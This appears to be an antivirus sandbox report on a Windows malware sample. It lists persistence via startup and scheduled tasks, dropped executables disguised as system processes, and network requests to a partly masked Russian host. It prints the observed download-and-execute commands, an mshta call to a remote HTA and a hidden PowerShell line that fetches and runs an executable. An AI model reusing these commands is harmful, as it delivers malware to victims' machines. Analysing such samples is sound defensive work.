Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\system.lnk
- <SYSTEM32>\tasks\e34907c4fd2c9f641cf0e32874acac87
- <SYSTEM32>\tasks\rypyylno
- <SYSTEM32>\tasks\yzkstf2v
- <SYSTEM32>\tasks\2wpwukz2
- <SYSTEM32>\tasks\2w1pezhe
- <SYSTEM32>\tasks\zsfzxyms
- <SYSTEM32>\tasks\di4xeoaq
- <SYSTEM32>\tasks\royiye2h
- <SYSTEM32>\tasks\lxma1e4j
- <SYSTEM32>\tasks\pw5xi5lj
- <SYSTEM32>\tasks\dm4v2t0d
Malicious functions
Downloads and executes
- http://cn####8.tmweb.ru/windows.exe as %temp+%\vauign.exe
Executes the following (exploit)
- '%WINDIR%\syswow64\cmd.exe' /c mshta http://cn####8.tmweb.ru/noav18.hta
Modifies file system
Creates the following files
- %TEMP%\vauign.exe
- %TEMP%\hi01lqpn.0.cs
- C:\far2\encyclopedia\tap\mdm.exe
- %TEMP%\res8ccd.tmp
- C:\far2\encyclopedia\tap\csc8ccc.tmp
- %TEMP%\hv4053eo.out
- %TEMP%\hv4053eo.cmdline
- %TEMP%\hi01lqpn.cmdline
- %TEMP%\hv4053eo.0.cs
- %TEMP%\res849f.tmp
- %ProgramFiles%\fpwin\csc849e.tmp
- %TEMP%\2jidh5rr.out
- %TEMP%\2jidh5rr.cmdline
- %TEMP%\2jidh5rr.0.cs
- C:\documents and settings\explorer.exe
- %ProgramFiles%\fpwin\firefox.exe
- %HOMEPATH%\templates\mdm.exe
- %TEMP%\resbc88.tmp
- %TEMP%\res943f.tmp
- C:\documents and settings\cscbc77.tmp
- %TEMP%\lrourg3g.out
- %TEMP%\lrourg3g.cmdline
- %TEMP%\lrourg3g.0.cs
- %TEMP%\3v3z0vfq.out
- %TEMP%\3v3z0vfq.cmdline
- %TEMP%\res7e75.tmp
- %TEMP%\3v3z0vfq.0.cs
- %TEMP%\resa68f.tmp
- %HOMEPATH%\templates\csca67e.tmp
- %TEMP%\3lmxltka.out
- %TEMP%\3lmxltka.cmdline
- %TEMP%\3lmxltka.0.cs
- %ProgramFiles(x86)%\steam\logs\conhost.exe
- %TEMP%\hi01lqpn.out
- %ProgramFiles(x86)%\steam\logs\csc942e.tmp
- C:\documents and settings\csc7e64.tmp
- %TEMP%\0u2vm4me.0.cs
- %TEMP%\dclib\fw1400ed0ee6a34b0b561cf386c29735441144b544.dclib
- %TEMP%\dclib\antivm.dclib
- %TEMP%\dclib\al6cf54c5afe698333513f91b6a461a8fe412e5694.dclib
- %APPDATA%\windows\system.lnk
- %APPDATA%\windows\system.vbe
- %APPDATA%\windows\win.exe
- %PROGRAMDATA%\application data\lxteccsn\win.exe
- %APPDATA%\windows\vmcheck32.dll
- %APPDATA%\windows\dclib\fw1400ed0ee6a34b0b561cf386c29735441144b544.dclib
- %APPDATA%\windows\dclib\antivm.dclib
- %APPDATA%\windows\dclib\al6cf54c5afe698333513f91b6a461a8fe412e5694.dclib
- %APPDATA%\windows\ykf3fucrtmjajnj2vpfjjhslntgkon.bat
- %APPDATA%\windows\mlpi9mkdzgqevbpwj4jccu3ozakcm7.vbs
- %APPDATA%\windows\gqoz8cucjnpdaryt6wll.exe
- %APPDATA%\windows\c83sauttyw95kev4p9ukfca1xct1oy.bat
- %TEMP%\f3ay1yoo.out
- %TEMP%\gpiidrtl.cmdline
- %TEMP%\0u2vm4me.cmdline
- %TEMP%\gpiidrtl.0.cs
- <Current directory>\svchost.exe
- %TEMP%\res76b5.tmp
- <Current directory>\csc76b4.tmp
- %TEMP%\5omdsomp.out
- %TEMP%\5omdsomp.cmdline
- %TEMP%\gpiidrtl.out
- %TEMP%\5omdsomp.0.cs
- %TEMP%\f3ay1yoo.cmdline
- %TEMP%\f3ay1yoo.0.cs
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\smss.exe
- %TEMP%\res57f2.tmp
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\csc57e1.tmp
- %TEMP%\0u2vm4me.out
- %PROGRAMDATA%\application data\lxteccsn\vmcheck32.dll
- C:\documents and settings\csrss.exe
Deletes the following files
- %TEMP%\res57f2.tmp
- %TEMP%\hv4053eo.0.cs
- %TEMP%\hv4053eo.cmdline
- %TEMP%\res943f.tmp
- %ProgramFiles(x86)%\steam\logs\csc942e.tmp
- %TEMP%\hi01lqpn.out
- %TEMP%\hi01lqpn.0.cs
- %TEMP%\hi01lqpn.cmdline
- %TEMP%\resa68f.tmp
- %TEMP%\5omdsomp.out
- %HOMEPATH%\templates\csca67e.tmp
- %TEMP%\3lmxltka.cmdline
- %TEMP%\3lmxltka.out
- %TEMP%\3v3z0vfq.cmdline
- %TEMP%\3v3z0vfq.out
- %TEMP%\3v3z0vfq.0.cs
- %TEMP%\resbc88.tmp
- C:\documents and settings\cscbc77.tmp
- %TEMP%\lrourg3g.out
- C:\far2\encyclopedia\tap\csc8ccc.tmp
- %TEMP%\hv4053eo.out
- %TEMP%\res8ccd.tmp
- %TEMP%\2jidh5rr.0.cs
- %TEMP%\2jidh5rr.cmdline
- %TEMP%\0u2vm4me.cmdline
- %TEMP%\0u2vm4me.0.cs
- %TEMP%\0u2vm4me.out
- %TEMP%\f3ay1yoo.out
- %TEMP%\f3ay1yoo.0.cs
- %TEMP%\f3ay1yoo.cmdline
- %TEMP%\res76b5.tmp
- <Current directory>\csc76b4.tmp
- %TEMP%\lrourg3g.cmdline
- %TEMP%\3lmxltka.0.cs
- %TEMP%\5omdsomp.0.cs
- %TEMP%\res7e75.tmp
- C:\documents and settings\csc7e64.tmp
- %TEMP%\gpiidrtl.out
- %TEMP%\gpiidrtl.0.cs
- %TEMP%\gpiidrtl.cmdline
- %TEMP%\res849f.tmp
- %ProgramFiles%\fpwin\csc849e.tmp
- %TEMP%\2jidh5rr.out
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\csc57e1.tmp
- %TEMP%\5omdsomp.cmdline
- %TEMP%\lrourg3g.0.cs
Network activity
TCP
HTTP GET requests
- http://cn####8.tmweb.ru/noav18.hta
- http://cn####8.tmweb.ru/windows.exe
- http://cn####8.tmweb.ru/vz7wkt1vnmaj4j9yy4a51gcnbp4iu4hdbk6ui0350zxtml3/sflqvsoeiijvo0mo9eu7wz8j6z006fmyrajlcsbci63s8h3pfrkc0q2w6okvq8kqg4n270279/5fe116131d16a8b064272791e782c5d5363db826.php?03...
- http://cn####8.tmweb.ru/vz7wkt1vnmaj4j9yy4a51gcnbp4iu4hdbk6ui0350zxtml3/sflqvsoeiijvo0mo9eu7wz8j6z006fmyrajlcsbci63s8h3pfrkc0q2w6okvq8kqg4n270279/5fe116131d16a8b064272791e782c5d5363db826.php?54...
- http://cn####8.tmweb.ru/vz7wkt1vnmaj4j9yy4a51gcnbp4iu4hdbk6ui0350zxtml3/sflqvsoeiijvo0mo9eu7wz8j6z006fmyrajlcsbci63s8h3pfrkc0q2w6okvq8kqg4n270279/zgo6qt/6e43f762cba4b86bc0c491b86ddeed9e.php?1e#...
- http://ip##fo.io/ip
UDP
- DNS ASK cn####8.tmweb.ru
- DNS ASK ip##fo.io
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
Creates and executes the following
- 'C:\documents and settings\csrss.exe'
- '%APPDATA%\windows\win.exe'
- 'C:\far2\encyclopedia\tap\mdm.exe'
- '<Current directory>\svchost.exe'
- '%ProgramFiles(x86)%\steam\logs\conhost.exe'
- 'C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\smss.exe'
- 'C:\documents and settings\explorer.exe'
- '%ProgramFiles%\fpwin\firefox.exe'
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\windows\System.vbe"
- '%APPDATA%\windows\gqoz8cucjnpdaryt6wll.exe' -pfe269a32d6ea191305070eac6a20af987ddbebea
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\windows\MLPi9MKdzgQeVBPWJ4jCCU3oZaKCM7.vbs"
- '%HOMEPATH%\templates\mdm.exe'
- '%TEMP%\vauign.exe'
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7E75.tmp" "c:\Documents and Settings\CSC7E64.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA68F.tmp" "%HOMEPATH%\Templates\CSCA67E.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hv4053eo.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\3v3z0vfq.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES943F.tmp" "%ProgramFiles(x86)%\Steam\logs\CSC942E.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES849F.tmp" "%ProgramFiles%\FPWin\CSC849E.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8CCD.tmp" "c:\Far2\Encyclopedia\tap\CSC8CCC.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\lrourg3g.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\3lmxltka.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hi01lqpn.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\0u2vm4me.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES76B5.tmp" "<Current directory>\CSC76B4.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5omdsomp.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\f3ay1yoo.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES57F2.tmp" "c:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\CSC57E1.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2jidh5rr.cmdline"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\C83sAUTTyw95KEv4p9UKFcA1xcT1oY.bat" "' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\yKf3FUCrtmjaJNJ2VpFJjHsLntgKoN.bat" "' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://cn####8.tmweb.ru/windows.exe',$env:Temp+'\VAUIGN.Exe');(New-Object -com Shell.Application).Shel...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gpiidrtl.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBC88.tmp" "c:\Documents and Settings\CSCBC77.tmp"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c mshta http://cn####8.tmweb.ru/noav18.hta' (with hidden window)
Executes the following
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\3v3z0vfq.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA68F.tmp" "%HOMEPATH%\Templates\CSCA67E.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\3lmxltka.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES943F.tmp" "%ProgramFiles(x86)%\Steam\logs\CSC942E.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hi01lqpn.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8CCD.tmp" "c:\Far2\Encyclopedia\tap\CSC8CCC.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\hv4053eo.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES849F.tmp" "%ProgramFiles%\FPWin\CSC849E.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2jidh5rr.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7E75.tmp" "c:\Documents and Settings\CSC7E64.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gpiidrtl.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES76B5.tmp" "<Current directory>\CSC76B4.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5omdsomp.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\f3ay1yoo.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES57F2.tmp" "c:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\CSC57E1.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\0u2vm4me.cmdline"
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\C83sAUTTyw95KEv4p9UKFcA1xcT1oY.bat" "
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\yKf3FUCrtmjaJNJ2VpFJjHsLntgKoN.bat" "
- '%WINDIR%\syswow64\mshta.exe' http://cn####8.tmweb.ru/noav18.hta
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\lrourg3g.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBC88.tmp" "c:\Documents and Settings\CSCBC77.tmp"
